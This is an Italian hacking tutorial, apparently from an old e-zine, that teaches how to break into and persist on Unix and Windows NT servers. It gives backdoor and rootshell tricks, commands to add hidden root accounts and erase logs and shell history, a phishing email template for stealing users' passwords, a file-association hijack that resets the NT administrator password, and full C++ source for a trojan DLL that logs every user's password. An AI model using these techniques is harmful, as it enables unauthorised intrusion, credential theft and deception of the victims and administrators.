|Per chi conosce già un pò di C, diremo che una backdoor, nel caso più semplice, |
|non e` altro che qualcosa del tipo: |
| |
| system('/bin/cp /bin/sh /tmp/usami'); |
| |
|(esegue i comandi tra virgolette, in questo caso copia la shell in tmp) inserita|
|in un punto di un qualsiasi programma. Un'ulteriore passo è fare in modo che so-|
|lo chi conosce della backdoor possa farla entrare in funzione. Ad esempio, se la|
|backdoor è stata inserita nel programma "login" potremmo fare in modo che se si |
|avvia login in questo modo: |
| |
| login Lord_Shinva |
| |
|anziché eseguire il codice originale di login verrà eseguita la backdoor, altri-|
|menti verrà eseguito il codice normalmente. Nient'altro che un semplice "if/then|
|/else"
come nella seguente pseudo-codifica: |
| |
| if (strcmp(argv[1],"Lord_Shinva") { |
| ...codice della backdoor... |
| } |
| else { |
| ...codice di login... |
| } |
| |
| |
|In genere però creare una backdoor è molto più complicato che creare un troiano,|
|poiché mentre quest'ultimo è un semplice programmino in C che esegue un paio di |
|chiamate system() per eseguire dei comandi, una backdoor deve comportarsi pro- |
|prio come il programma originale di cui ha preso il posto e quindi è necessario |
|avere il sorgente (listato) del programma originale. |
|Ciò non e` impossibile, ma richiede già una certa bravura con il C e con Unix, e|
|bisogna sapere dove cercare. |
| |
|Ma vi assicuro che col tempo, se avrete costanza nello studiare e mettere in pra|
|tica, creare una backdoor non sarà niente di complicato, una volta reperito il |
|listato del programma da sostituire (potreste addirittura farlo interamente da |
|soli, se si tratta di un programmino come LS). |
| |
+--------------------------------------------------------------------------------+
| |
| [L] - Virtuosismi Tecnici |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - VIRTUOSISMI TECNICI PARTE I |
| |
|Supponiamo di aver finalmente hackerato un server e di avere username e password|
|di un utente. E ora cosa facciamo? Ci limitiamo a leggere la sua posta, a col- |
|legarci via Telnet dal suo account e cose del genere? Certamente no... |
| |
|I passi principali nell'hackerare un server consistono nel fare quanto segue: |
| |
| - Prendere tutte le precauzioni prima di collegarsi preferibilmente usare l'ac|
| count di qualcun'altro (un utente di cui abbiamo crackato la password) e/o |
| usare un account Telnet su una BBS, utilizzare il "bounce" e così via |
| |
| - Scegliere un server (di tipo Unix, in questo caso) e crackarne le password |
| individuando la locazione del file, se le password sono shadow o meno, ecc..|
| |
| - Collegarsi con l'account crackato di uno degli utenti di quel server |
| |
| - Utilizzare i comandi "who" e "ps -u vostro_user_name" per vedere chi è on- |
| line e cosa sta facendo (se il SysAdmin è in giro, sarà meglio lasciar perde|
| re e collegarsi più tardi, meglio se di notte o la mattina molto presto) |
| |
| - Digitare "unset HISTFILE" per far sì che il file "history" (dove vengono an-|
| notate tutte le operazioni che svolgiamo!) venga eliminato non appena lasce-|
| remo il sistema |
| |
| - Inviare, compilare e usare un programma per nasconderci dal log di utmp |
| |
| - Controllare con il comando "who" se "si vede" che siamo in linea |
| |
| - Se non si è riusciti a crackare la password di root, usare un exploit per ot|
| tenere accesso root, in modo da poter eseguire comandi nella shell |
| |
| - [OPZIONALE] crearsi un nuovo account su quel server, utilizzando un nome po-|
| co vistoso (dare un'occhiata al file delle password per uniformarvi agli al-|
| tri in modo da non far saltare all'occhio il vostro nuovo account) |
| |
| - Installare una backdoor (se si è in grado di farlo), oppure copiare la shell|
| root /bin/sh in qualche directory "sperduta" sotto falso nome e cambiarne il|
| livello d'accesso con chmod, in modo da poter usare la shell di root anche |
| quando si accede al sistema con l'account di un utente qualsiasi (e quindi |
| senza privilegi); se si è creato un nuovo account (vedi sopra) potremo met- |
| tere la shell "segreta" nella nostra directory utente, in modo che nessun al|
| tro la noti e possa usarla all'infuori di noi (un buon posto è la directory |
| .term nella directory /users oppure /home/users o comunque dove si trovano |
| le directory degli utenti). |
| Si può anche aggiungere un account al file delle password, in modo da utiliz|
| zare la shell root quando ci servirà, utilizzando semplicemente Telnet: usan|
| do PHF con il comando "echo stringa >> /etc/passwd" oppure editando diret- |
| tamente il file delle password si aggiunga: |
| |
| nomequalsiasi::numeroutente:numerogruppo:/:/bin/sh |
| |
| oppure qualcosa di meno vistoso, come un finto "account di sistema" del tipo|
| |
| spoolsys::13:12:system:/var/spool/:/bin/sh |
| |
| (ovviamente si potrà anche utilizzare una password tra i due :: se non si |
| vuole consentire a qualcun altro di accedere a questo account) |
| |
| - [IMPORTANTISSIMO] cancellare tutte le tracce prima di lasciare il server e |
| in particolare... |
| |
| - Tutto quello che viene registrato riguardo al vostro server (host name, IP|
| Address, date e orari) nei files di log in /var/log e /var/adm |
| |
| - Eliminare sempre il file di history del vostro account (.bash_history), e |
| per evitare che venga creato di nuovo lo si setti a null con il comando |
| "ln -s /dev/null .bash_history" |
| |
| - Eliminare il file xferlog contenente il log dei trasferimenti di file (se |
| se ne sono fatti) |
| |
|Ora, quando vorremo collegarci di nuovo per utilizzare la shell root, non dovre-|
|mo fare che collegarci con l'account di un utente qualsiasi e poi, in base a |
|quello che abbiamo fatto prima, utilizzare la backdoor per accedere a root, op- |
|pure usare la shell "segreta" che abbiamo installato. |
| |
|Tutto questo andrà fatto solo la prima volta, cioè quando hackeriamo il server. |
|Ciò ci consentirà di non far notare un'attività hacker su quel server, cosicché |
|il nostro account (e soprattutto la shell root ;) durerà più a lungo... |
|Anche per moltissimo tempo, se il SysAdmin non sta attento a quel che accade nel|
|suo sistema. |
| |
| [NOTA IMPORTANTE] Se non siete ancora in grado di nascondere le vostre tracce |
| come descritto sopra, avrete bisogno di tempo per imparare, |
| perciò NON tentate di hackerare un server. |
| Usate Linux (che spero vi sarete finalmente installati ;) e |
| provate, usando il comando "man nome_comando" ogniqualvolta |
| non capite il funzionamento di un particolare comando. |
| Sperimentate sempre prima in modalità locale (sul vostro com-|
| puter), se ne avete la possibilità. |
| |
|Quando dovete analizzare il contenuto di un file di log alla ricerca di informa-|
|zioni da cancellare (come il vostro IP Address o l'host name del vostro provi- |
|der) potete utilizzare "grep" (un comando Unix per cercare una stringa di testo |
|in un file) come in questo esempio: |
| |
| cd /var/log |
| grep hackers.com * |
| |
|In questo caso cercheremo l'host name "hackers.com" in tutti (*) i file della di|
|rectory /var/log (ma anche /var/adm). Se l'output (i risultati della ricerca) è |
|troppo lungo per essere contenuto in una pagina, basterà aggiungere il piping al|
|comando "more", cosi`: |
| |
| grep hackers.com * | more |
| |
|e potremo comodamente scorrere in alto e in basso la nostra lista. |
| |
|Se ad esempio troverete qualcosa del genere: |
| |
| nome_file_log data orario nome_software_server nome_del_vostro_provider.com |
| altro_file_log data orario nome_software_server nome_del_vostro_provider.com |
| .... |
| |
|saprete che i file nome_file_log e altro_file_log stanno "registrando" cose che |
|non vorreste proprio far sapere al SysAdmin! |
| |
|Come fregarli? E' presto detto... :) |
| |
|Esiste un file, chiamato syslog.conf (configurazione log di sistema) che si tro-|
|va nella directory /etc Il suo compito è "dire" al sistema cosa loggare (regis- |
|trare in file di log) e dove mettere i log (un altro file interessante è |
|/etc/login.defs dove è possibile abilitare/disabilitare il logging delle opera- |
|zioni effettuate con file ad accesso root). |
| |
|Ci basterà quindi editare il file /etc/syslog.conf e cancellare i file "scomodi"|
|... ma non solo. Affinché i cambiamenti apportati abbiano effetto, dovremo riav-|
|viare il programma syslogd, o più precisamente il suo processo (le operazioni |
|che svolge in background). |
| |
|Ma prima di riavviare il processo dovremo disattivalo. Per farlo, useremo il com|
|ando "kill" (uccidi), in questo modo: digitiamo "ps -x" per vedere a quale nume-|
|ro di processo è associato syslogd. Il primo numero sulla sinistra sarà quello |
|che ci interessa: in pratica, è come un numero di indentificazione che varia da |
|processo a processo. |
| |
|Digitiamo ora "kill -HUP numero_di_processo" e syslogd verrà disattivato e subi-|
|to riavviato. Abbiamo ora ottenuto quello che volevamo: niente più "spie" che |
|possano aiutare il SysAdmin ad identificarci. |
| |
| [NOTA] In Unix le maiuscole e le minuscole sono fondamentali. Attenetevi sempre|
| alle mie istruzioni e tenete presente che i comandi sono quasi sempre in|
| minuscolo, mentre le opzioni cambiano effetto a seconda che siano maius-|
| cole o minuscole. |
| |
+--------------------------------------------------------------------------------+
| |
| [M] - Virtuosismi Tecnici |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - VIRTUOSISMI TECNICI PARTE 2 |
| |
|Questo file conclude il capitolo iniziato nel volume 11, sulle tecniche avanzate|
|di hacking su Unix (da leggere quando sarete più esperti). |
|Alcune di queste tecniche sono abbastanza conosciute, mentre altre sono (relati-|
|vamente) nuove. |
| |
|Ricordate sempre che: |
| |
| - Fare del port surfing (connettersi via Telnet alle porte di un server per |
| trovare vie d'accesso non controllate e informazioni utili) e studiare il |
| funzionamento dei servizi leggendo le RFC presenti su Internet è utilissimo |
| per scoprire molte vulnerabilità di un generico sistema; vi meraviglierete |
| di quello che potrete trovare: outdial (collegamenti via modem che vi permet|
| tono di telefonare ovunque nel mondo, anche a casa vostra, digitando comandi|
| standard Hayes direttamente nel modem del server che state hackerando), lis-|
| te di informazioni sulla struttura interna del network (come nel caso della |
| porta 15, detta "netstat"), possibilità di manipolare un servizio per fare |
| le cose più disparate e attacchi all'integrità del sistema, per dirne qual- |
| cuna... |
| |
| - Installare una backdoor è spesso necessario: anche se al momento il SysAdmin|
| non sa della vostra presenza, prima o poi se ne accorgerà ed eliminerà il |
| vostro account; inoltre dai log potrebbe risalire al modo in cui siete "en- |
| trati"
nel sistema, e correggere il problema: in tal caso, installare una |
| backdoor preventivamente (cancellando le tracce di ogni operazione come des-|
| critto in uno dei precedenti volumi) è indispensabile; |
| |
|Ecco altri consigli più o meno avanzati: |
| |
| - Nascondetevi da utmp e dai comandi come "who" utilizzando il programma in- |
| cluso in uno dei precedenti volumi, in modo che nessuno potrà notare la vos-|
| tra presenza del sistema (per maggior sicurezza collegatevi di notte o al |
| mattino presto); |
| |
| - Manipolate i file .rhost per poter accedere senza restrizioni da remoto; |
| |
| - Se siete in grado di programmare e conoscete *bene* Unix, potete installare |
| delle nuove chiamate di sistema che svolgano le operazioni che vi servono |
| (una per la gestione dei file e dei loro permessi, una di riserva per l'ese-|
| cuzione shell, e così via) e disabilitare i controlli per l'accesso root al |
| sistema, manipolando la kernel (argomento troppo complicato per poter essere|
| spiegato in questi volumi); |
| |
| - Se avete accesso in scrittura a /dev/kmem cambiate il vostro userid; se in- |
| vece avete solo accesso in lettura, scrivete un programmino in C che inter- |
| cetti le sessioni degli altri terminali (TTY) per intercettare le password |
| degli altri utenti; |
| |
| - Modificate i permessi d'accesso dei file più interessanti, come /dev/mem e |
| copiate la shell /bin/sh nella vostra directory utente, in una directory nas|
| costa (oppure un .term) sotto falso nome e create degli script SUID; |
| |
| - Editate gli script (.login .profile .cshrc ecc...) per installare troiani; |
| |
| - Controllate se esistono password nel file .netrc (potrebbero esservi utili |
| per accedere ad altri account); |
| |
| - Provate sempre ad utilizzare i programmi in modo "non previsto" ;) per trova|
| re nuovi bugs: scrivendo !/bin/sh nella schermata di un comando come "more" |
| o "man", ad esempio, potreste riuscire ad accedere alla shell... |
| |
| - Fate lo stesso con le chiamate di sistema, passando loro parametri non pre- |
| visti; |
| |
| - Controllate i file system utilizzando il comando showmount e

  
state attenti |
| ai permessi... potreste trovare intere partizioni accessibili a chiunque! |
| |
| - Controllate l'esistenza dei seguenti bugs: |
| lpr -r nomefile stamperà il file e lo cancellerà (utile in caso di file per |
| i quali non avete permessi) |
| su username -c /bin/sh darà accesso a /bin/sh all'account username |
| |
| - Esplorate i file SUID utilizzando il comando: |
| find / -perm -6000 -ls |
| |
|per accedere a uno di essi, basta utilizzare il comando "ln" per creare un link |
|al file interessato, con il nome "-i", e quindi eseguire il link così creato; |
| |
| - Eliminate SEMPRE le vostre tracce e prendete ogni precauzione nel collegarvi|
| e nel fare qualsiasi cosa: questo vale tanto per un semplice provider che |
| per un mainframe del Pentagono (forse un pò di più in quest'ultimo caso... |
| ;) |
| |
|Un buon metodo per trovare informazioni di ogni tipo (username e password di al-|
|tri utenti - anche di root, se siete fortunati - posta elettronica di altri e |
|intere sessioni di chat, per citarne alcune) è creare un programmino in C che al|
|lochi quanta più memoria possibile, e poi cercare nel blocco allocato (oppure |
|salvare l'intero blocco e scaricarselo per controllarlo con più calma). |
|Ciò che accade è questo: per soddisfare la vostra richiesta di spazio in memo- |
|ria, il sistema metterà a disposizione quella usata in precedenza dalle altre |
|applicazioni, senza però preoccuparsi di ripulirla! =) |
| |
+--------------------------------------------------------------------------------+
| |
| [N] - Social Engineering |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - SOCIAL ENGINEERING |
| |
|Social Engineering, ovvero Ingegneria Sociale... cos'è? |
| |
|E' il metodo più semplice ed efficace per ottenere informazioni che altrimenti |
|non sapreste dove trovare, come ad esempio la password di un utente, o addirit- |
|tura i suoi dati personali (indirizzo, telefono, ecc). |
| |
|Sono solo esempi, ma con un pò di fantasia e fortuna potete fare davvero di tut-|
|to. Non si tratta, nel caso ve lo stiate chiedendo, di tecniche come quelle che |
|abbiamo visto fino ad ora: niente Telnet, niente file di log, solo voi e la vos-|
|tra intelligenza. |
| |
|Ma procediamo per ordine. |
| |
|Fare del "Social Engineering" significa far credere di essere qualcun altro allo|
|scopo di ottenere qualcosa. |
|Immaginate di andare dalla segretaria di Bill Gates a chiederle di versare sul |
|vostro conto un paio di milioni. Al massimo vi riderà in faccia... :) Ma se in- |
|vece fosse lui, il "caro" Bill, a telefonare alla sua segretaria da una riunione|
|d'affari e dirle di sbrigare un attimino una faccenda urgente per conto suo.... |
|ho reso l'idea? ;) |
| |
|Beh, normalmente ci si limita ad utilizzare il Social Engineering per ottenere |
|password e dati personali, ma l'uso è lasciato a voi. |
| |
|Si può fare S.E. (Social Engineering) per telefono o via modem (e Internet). |
| |
|Le regole sono semplici: |
| |
| - Dovete agire "professionalmente" ed essere credibili |
| - Dovete informarvi sull'argomento che state per affrontare |
| |
|e, se utilizzerete il telefono: |
| |
| - Dovete essere sicuri di voi stessi e di quello che dite |
| - Dovete avere una voce credibile, che non sia cioè quella di un ragazzo che |
| vuole sfottere un pò per telefono... |
| |
|Per quelli che tra voi stanno pensando che il S.E. non funziona: vi basti sapere|
|che praticamente tutti gli hackers più conosciuti utilizzano proprio il S.E. per|
|ottenere le informazioni di cui hanno bisogno. |
|E' l'unica "tecnica" che, se fatta come si deve, non fallisce e non diventa ob- |
|soleta con il passare del tempo. |
| |
|Ma ora veniamo alla pratica. |
| |
|Supponiamo ad esempio di voler ottenere la password di un utente (sia essa la |
|password del suo account Internet oppure quella della sua mailbox). |
| |
|In quale caso potremmo chiedere a un utente la sua password? |
| |
|Probabilmente, nel caso in cui fossimo il SysAdmin (o un tecnico del servizio u-|
|tenti) del suo provider. |
| |
|In questo caso, non dovremo fare altro che crearci un account di email su usa.- |
|net mailexcite.com che possa sembrare l'indirizzo email di un tecnico del provi-|
|der, come ad esempio servizio_utenti@usa.net o altro. |
| |
|Meglio ancora, se avete un account di posta elettronica potete usare INAME |
|http://yahoo.iname.com) per creare un account email "virtuale". Potrete cioè cre|
|arvi un account come ad esempio servizio_tecnico@fastservice.com (che è MOLTO |
|più credibile di pippo@hotmail.com) e tutta la posta che verrà inviata a quell'-|
|account sarà ridirottata anonimamente sul vostro account normale. |
| |
|Potrete scegliere tra vari nomi di server, e ciò torna a vostro favore. |
| |
|Se state fingendo di essere del servizio tecnico o help utenti di un provider |
|scegliete qualityservice.com, topservice.com, oppure cyberservices.com. |
| |
|Ora viene il bello. Supponiamo di voler ottenere una password di un server senza|
|allarmare il SysAdmin tentando di prelevare il file delle password :) |
| |
|Ciò che vi serve è l'indirizzo di email di un utente qualsiasi di QUEL server. |
|Come trovarlo: se il server ha una messaggistica, un forum dove gli utenti pos- |
|sono chiacchierare... vedete lì. |
| |
|Altrimenti non scoraggiatevi: collegatevi a http://www.whowhere.com oppure a |
|http://www.four11.com e cercate il server che vi interessa. |
|Avrete una lista di tutte le email che vi possono interessare, complete di nome |
|e cognome che vi torneranno certamente utili. |
|Oppure potete usare finger, se è abilitato... facendo "finger @server.com" avre-|
|te la lista di tutti gli utenti presenti su quel sistema. |
|Come vedete, ci sono molti modi per ottenere la stessa cosa. |
| |
|Fate MOLTA ATTENZIONE a non scrivere all'indirizzo del SysAdmin, del Webmaster o|
|di uno dei responsabili o dei tecnici del server! |
| |
|Trovata la "cavia" ora dovete scrivergli un messaggio di questo tipo: |
| |
+---------------------------------INIZIO-MESSAGGiO-------------------------------+
| |
| Da: Servizio_Tecnico@TopService.com |
| A: utente@provider.it |
| Soggetto: |
| |
| Gentile Utente, |
| per offrirLe un miglior servizio abbiamo aggiornato il server software del ns.|
| Internet Provider. Per problemi tecnici non ci è stato possibile importare il |
| database Utenti, motivo per cui La preghiamo di volerci comunicare al più pres|
| to il suo username e la sua password, scrivendo al nostro indirizzo email: |
| Servizio_Tecnico@TopService.com |
| |
| La ringraziamo per la cortese attenzione. |
| |
| Cordiali saluti |
| |
| Dr. Antonio Brambilla |
| Resp. Servizio Tecnico XXXX Internet Provider |
| Via ................ |
| Tel/Fax ............ |
| |
+---------------------------------FINe-MESSAGGIO---------------------------------+
| |
|Poche righe, insomma, ma ben scritte. |
|E per rendere più convincente il tutto, aggiungete anche informazioni come indi-|
|rizzo (vero) e nomi e cognomi (falsi), telefono e fax (falsi), ecc... |
| |
|Vi meraviglierete di come talvolta anche le società che si appoggiano ai provi- |
|der per l'accesso a Internet cascano in questi trucchi. |
| |
| [NOTA] In alcuni casi può essere utile utilizzare la tecnica delle FakeMail per|
| inviare un "ordine di servizio" a qualcuno da parte di una persona (un |
| dirigente, ad esempio) di cui si conosca però l'indirizzo di email. |
| Ricordate però che, in caso di risposta, l'email andrà all'indirizzo fal|
| so che avremo utilizzato (cioé quello del dirigente!). |
| |
|Se avessimo invece voluto fare qualcosa di più complicato, come ottenere un qual|
|che tipo di informazioni più o meno riservate da una grande azienda, avremmo do-|
|vuto utilizzare (preferibilmente) il telefono. Avere prontezza di riflessi, si- |
|curezza e una voce "adatta allo scopo" in tal caso sarà indispensabile se non si|
|vuole mandare tutto a monte. |
| |
|Nel caso di personale particolarmente attento (raro...), del tipo che vuole chie|
|dere prima un'autorizzazione al capo e roba del genere, è utile far capire di |
|avere altri affari da sbrigare, di essere seccati dall'inettitudine di quell'im-|
|piegato e roba del genere... perdere la pazienza, insomma, senza essere né pate-|
|tici né isterici. |
| |
+--------------------------------------------------------------------------------+
| |
| [O] - Windows NT |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - HACKING AVANZATO DI WINDOWS NT |
| |
|Dal momento che ci stiamo accingendo ad esplorare Windows NT, mi aspetto che co-|
|nosciate già il funzionamento dei Registry di Windows, in quanto una loro trat- |
|tazione esula dall'hacking ed è comunque reperibile sia in libreria che su Inter|
|net. |
| |
|Mi limiterò quindi a ricordare solo le basi della sicurezza in Windows NT: |
| |
| LSA (Local Security Authority, ovvero Autorità di Sicurezza Locale) E' cono- |
| sciuto anche con il nome di Security Subsystem (Sottosistema di Sicurezza)|
| E' il componente centrale della sicurezza NT ed è preposto all'autentica- |
| zione degli utenti e all'audit (logging). |
| |
| SAM (Security Account Manager, ovvero Manager di Sicurezza degli Account) For-|
| nisce autenticazione al LSA e controlla i gli account per gruppi e utenti.|
| |
| SRM (Security Reference Monitor, ovvero Monitor della Referenza di Sicurezza) |
| Controlla gli account ogniqualvolta un utente cerca di accedere a un file |
| o directory e gli da o nega il permesso in base ai suoi privilegi d'acces-|
| so, e comunica le infrazioni al LSA tramite messaggi di audit. |
| |
| UI (User Interface, ovvero Interfaccia Utente) E' in pratica quello che l'u- |
| tente vede, cioé l'interfaccia con la quale egli interagisce e che comuni-|
| ca in modo invisibile con gli elementi appena visti. |
| |
| ACL (Access Control List, ovvero Lista di Controllo dell'Accesso) Ogni utente |
| ha una ACL che rappresenta i suoi permessi e privilegi in fatto di directo|
| ry, file, ecc. |
| |
|L'autenticazione degli utenti funziona nel modo seguente: l'utente effettua il |
|login, NT crea un token che rappresenta quell'utente e associa al token i privi-|
|legi che trova nella sua ACL, e agisce in base ad essi. |
| |
|Procederemo ora per quesiti, in modo da rendere più agevole la lettura. |
| |
| QUESITO 1: Quali sono i permessi di default? |
| |
|Questi sono i permessi per gli utenti di default: |
| |
| - Server Operators: spegnimento, anche da remoto; reset dell'orologio di sis- |
| tema; backup e restore. |
| - Backup Operators: spegnimento; backup e restore. |
| - Account Operators: spegnimento. |
| - Print Operators: spegnimento. |
| |
|Questi sono i permessi per le directory di Windows NT: |
| |
| \(root), \SYSTEM32, \WIN32APP Server Operator e Everyone possono leggere ed |
| eseguire file, mostrare i permessi e cambiare |
| gli attributi dei file. |
| |
| \SYSTEM32\CONFIG Everyone può effettuare una DIR in questa direc-|
| tory. |
| |
| \SYSTEM\DRIVERS, \SYSTEM\REPL Server Operator ha accesso completo. Everyone ha|
| solo accesso in lettura. |
| |
| \SYSTEM32\SPOOL Server Operator e Print Operator hanno accesso |
| completo. Everyone ha solo accesso in lettura. |
| |
| \SYSTEM32\REPL\EXPORT Server Operator può leggere ed eseguire file, |
| permessi e attributi. Replicator ha solo accesso|
| in lettura. |
| |
| \SYSTEM32\REPL\IMPORT Server Operator e Replicator possono leggere ed |
| eseguire file, permessi e attributi. Everyone ha|
| accesso in lettura. |
| |
| \USERS Account Operator può leggere, scrivere, cancel- |
| lare ed eseguire file. Everyone può effettuare |
| una DIR. |
| |
| \USERS\DEFAULT Everyone può leggere, scrivere ed eseguire file.|
| |
| QUESITO 2: Qual'è l'account più interessante? |
| |
|Sicuramente l'account dell'amministratore (SysAdmin), ma potrebbe essere stato |
|rinominato... in tal caso, basta eseguire "NBTSTAT -A ipaddress" per conoscere |
|il nuovo nome dell'account e opzionalmente anche un elenco completo di quali |
|servizi sono in funzione, il nodename e l'eventuale indirizzo hardware dell'et- |
|hernet (in caso di LAN). |
| |
| QUESITO 3: Dove si trovano le password in Windows NT? |
| |
|Da nessuna parte. Windows NT (come anche UNIX) non immagazzina le password, ma |
|bensì un hash (valore numerico calcolato in base alla password, dal quale non si|
|può risalire alla stringa originale, in quanto è solo un numero). |
| |
|Per crackare gli hash si può utilizzare il programma PWDUMP (lo potete trovare |
|sui siti hacker) e comunque si tratta di un attacco basato su dizionari, quindi |
|di tipo "brute force" (forza bruta). |
| |
|Quindi, dicevamo, la domanda giusta sarebbe: "dov'è l'elenco degli hash?" |
| |
|La risposta è: nella directory \WINNT\SYSTEM32\CONFIG c'e` un file chiamato SAM.|
|E' questo il database che cerchiamo. E' leggibile da tutti gli utenti (a meno |
|che quel simpaticone del SysAdmin non ci abbia messo lo zampino), ma comunque |
|non si può leggere in quanto bloccato (via sharing) perché è in uso dai componen|
|ti di sistema di NT. A questo punto il SysAdmin giubila ed esulta, ma l'hacker |
|sa dell'esistenza di SAM.SAV che è il backup di SAM... |
| |
|Inoltre, durante l'installazione di NT, una copia del SAM viene posta in \WINNT\|
|REPAIR. Quasi sicuramente troveremo solo gli account Administrator e Guest, ma |
|credo che Administrator (SysAdmin) sia abbastanza... |
| |
|A proposito del SAM... se siete completamente pazzi potete anche mettere le vos-|
|tre manacce nelle keys del SAM. |
|Per esempio, schedulando il servizio di logon come LocalSystem e permettendogli |
|di interagire con il desktop, e poi schedulando una sessione interattiva di |
|regedt32.exe (come LocalSystem) con il quale manipolare le keys. Ovviamente se |
|non sapete a cosa serve tutto questo sarà meglio non toccare niente, altrimenti |
|saranno guai grossi... |
| |
| QUESITO 4: Come accedere al file system se è di tipo NTFS anziché FAT? |
| |
|Se siete vicini alla macchina (cioè in locale), effettuate un boot tramite un |
|dischetto MS-DOS ed eseguite NTFSDOS.EXE per accedere al NTFS. Oppure potete uti|
|lizzare il dischetto di boot di Linux... in pratica basta semplicemente eseguire|
|Linux. Può sembrare strano, ma ciò vi darà accesso totale al file system in quan|
|to Linux può leggere NTFS. |
| |
| QUESITO 5: Sono vicino alla console locale, come accedo alle informazioni de- |
| gli altri computer? |
| |
|Se il computer sul quale vi trovate è un domain controller (oppure se è collega-|
|to al computer) basterà fare quanto segue: |
| |
| 1. Da USER MANAGER, create una trusting relationship (rapporto di fiducia) con|
| l'obiettivo. |
| 2. Inserite la password (quello che volete). Sembrerà non funzionare, ma l'ob-|
| biettivo sar... ora nella vostra trusting list. |
| 3. Avviate NT Explorer e cliccate col tasto destro del mouse su qualsiasi car-|
| tella. |
| 4. Selezionate SHARING (condivisione). |
| 5. Dalla finestra SHARED, selezionate ADD ("aggiungi", se NT è in italiano). |
| 6. Dal menu ADD, selezionate il vostro obiettivo (il server "vittima"). |
| 7. Ora vedrete l'intera lista dei gruppi dell'obiettivo. |
| 8. Selezionate SHOW USERS e vedrete l'intera lista utenti, completa di nomi |
| dei file, directory e descrizioni... |
| |
| QUESITO 6: Ho accesso Administrator, come accedere alla lista degli utenti? |
| |
|Ah ci siete riusciti, bene bene... ;) Usate questo metodo: |
| |
| - Eseguite NBTSTAT -A ipaddress |
| - Aggiungete il nome che otterrete al file LMHOSTS |
| - Se la versione di NT Š inferiore alla 4, digitate NBTSTAT -R per effettuare |
| il refresh dei nomi del NetBios |
| - Eseguite NET VIEW \\nomemacchina per vedere gli shares ("condivisioni") |
| - Eseguite DIR \\nomemacchina\share per listare gli shares (se aperti) |
| - Eseguite NET VIEW \\ipaddress oppure NET VIEW \\nome.completo.com se usate |
| Windows NT 4.0 |
| |
| QUESITO 7: Ho accesso Guest... come faccio ad avere accesso Administrator? |
| |
|NT 3.51 ha varie directory (e file) leggibili e scrivibili da tutti gli utenti |
|per default. Potete editare le associazioni tra un'applicazione e i file dati, |
|usando REGEDT32.EXE, ma prima dovete creare (e compilare) un'applicazione per |
|Win32 (magari in Delphi o C++ a 32-bit) che si limiti ad eseguire i seguenti co-|
|mandi e nient'altro: |
| |
| net user administrator hacker /y |
| notepad %1 %2 %3 %4 %5 |
| |
|Inviate (tramite upload) questa "applicazione" in una share (directory di con- |
|divisione) a cui avete accesso e cambiate l'associazione tra i file .txt e note-|
|pad in modo che punti alla locazione completa del vostro file (ad esempio |
|\\NomeWorkstation\RWShare\hahaha.exe). |
| |
|Non appena un file di testo verrà visualizzato da qualcuno sul server, quell'as-|
|sociazione verrà eseguita e sarà attivato l'user Administrator con password "hac|
|ker"
, alla faccia del SysAdmin... |
| |
|Per questo motivo, se io fossi il SysAdmin eliminerei il permesso Everyone dalla|
|chiave HKEY_CLASSES_ROOT dei registry, dando l'accesso completo solo a Creator e|
|Owner. |
| |
| QUESITO 8: La SYSTEM32 nella directory di sistema di NT è scrivibile, cosa si |
| potrebbe fare? |
| |
|Se il sistema è un Windows NT versione 4.0 la risposta è: molte cose... :) Bas- |
|ta creare un troiano sotto forma di DLL e rinominarlo FPNWCLNT.DLL e quindi met-|
|terlo in quella directory. Ad esempio, utilizzando questo troiano scritto in C++|
|troverete nella directory \TEMP del server tutti gli username e password di tut-|
|ti gli utenti che accedono al sistema... |
| |
+-----------------------------------INIZIO-CODE----------------------------------+
| |
| #include <windows.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| |
| struct UNI_STRING { |
| USHORT len; |
| USHORT maxlen; |
| WCHAR *buff; |
| }; |
| |
| static HANDLE fh; |
| |
| BOOLEAN __stdcall InitializeChangeNotify () |
| { |
| DWORD wrote; |
| fh = CreateFile("C:\\temp\\shinva.txt", GENERIC_WRITE, |
| FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, |
| FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH, 0); |
| WriteFile(fh, "Procedura InitializeChangeNotify avviata\n", 31, &wrote, 0); |
| return TRUE; |
| } |
| |
| LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid, stru-|
| ct UNI_STRING *passwd) { |
| DWORD wrote; |
| WCHAR wbuf[200]; |
| char buf[512]; |
| char buf1[200]; |
| DWORD len; |
| |
| memcpy(wbuf, user->buff, user->len); |
| len = user->len/sizeof(WCHAR); |
| wbuf[len] = 0; |
| wcstombs(buf1, wbuf, 199); |
| sprintf(buf, "User = %s : ", buf1); |
| WriteFile(fh, buf, strlen(buf), &wrote, 0); |
| |
| memcpy(wbuf, passwd->buff, passwd->len); |
| len = passwd->len/sizeof(WCHAR); |
| wbuf[len] = 0; |
| wcstombs(buf1, wbuf, 199); |
| sprintf(buf, "Password = %s : ", buf1); |
| WriteFile(fh, buf, strlen(buf), &wrote, 0); |
| sprintf(buf, "RID = %x\n", rid); |
| WriteFile(fh, buf, strlen(buf), &wrote, 0); |
| return 0L; |
| } |
| |
+-----------------------------------FINE-CODE------------------------------------+
| |
|Quando analizzate il vostro "log file" controllate se ci sono username con SID |
|pari a -500 (SysAdmin). Guest ha SID pari a -501. |
|Ovviamente bisognera` riavviare il server dopo aver inviato la DLL, per farla at|
|tivare. |
| |
| QUESITO 9: Mi trovo con la schermata di login di NT (quella che esce premendo |
| CTRL-ALT-DEL), come faccio per bypassarla? |
| |
|Ecco qui di seguito spiegata la procedura per liberarsi dello screen-saver (fun-|
|ziona solo con NT inferiore alla versione 4.0). |
| |
|Basta entrare come Administrator e verrà mostrato lo schermo del desktop per al-|
|cuni secondi. Utilizzando il mouse (prima che lo schermo desktop non sia più ac-|
|cessibile) si possono effettuare modifiche, spostamenti, ecc. Se ciò non dovesse|
|accadere perché e` stato installato il Service Pack (sulla 3.x) c'è ancora una |
|speranza: bisognerà andare su un'altra workstation e digitare "shutdown \\nome- |
|computer /t:30"
in modo che venga attivato uno shutdown (spegnimento) entro 30 |
|secondi sul computer "vittima" e appaia una Security Window. A questo punto si |
|potrà digitare il comando "shutdown \\nomecomputer /a" in modo che lo shutdown |
|venga annullato. |
|Andando sul computer "vittima" e muovendo il mouse lo schermo si cancellerà e |
|potremo premere CTRL-ALT-DEL per far apparire di nuovo la Security Window. |
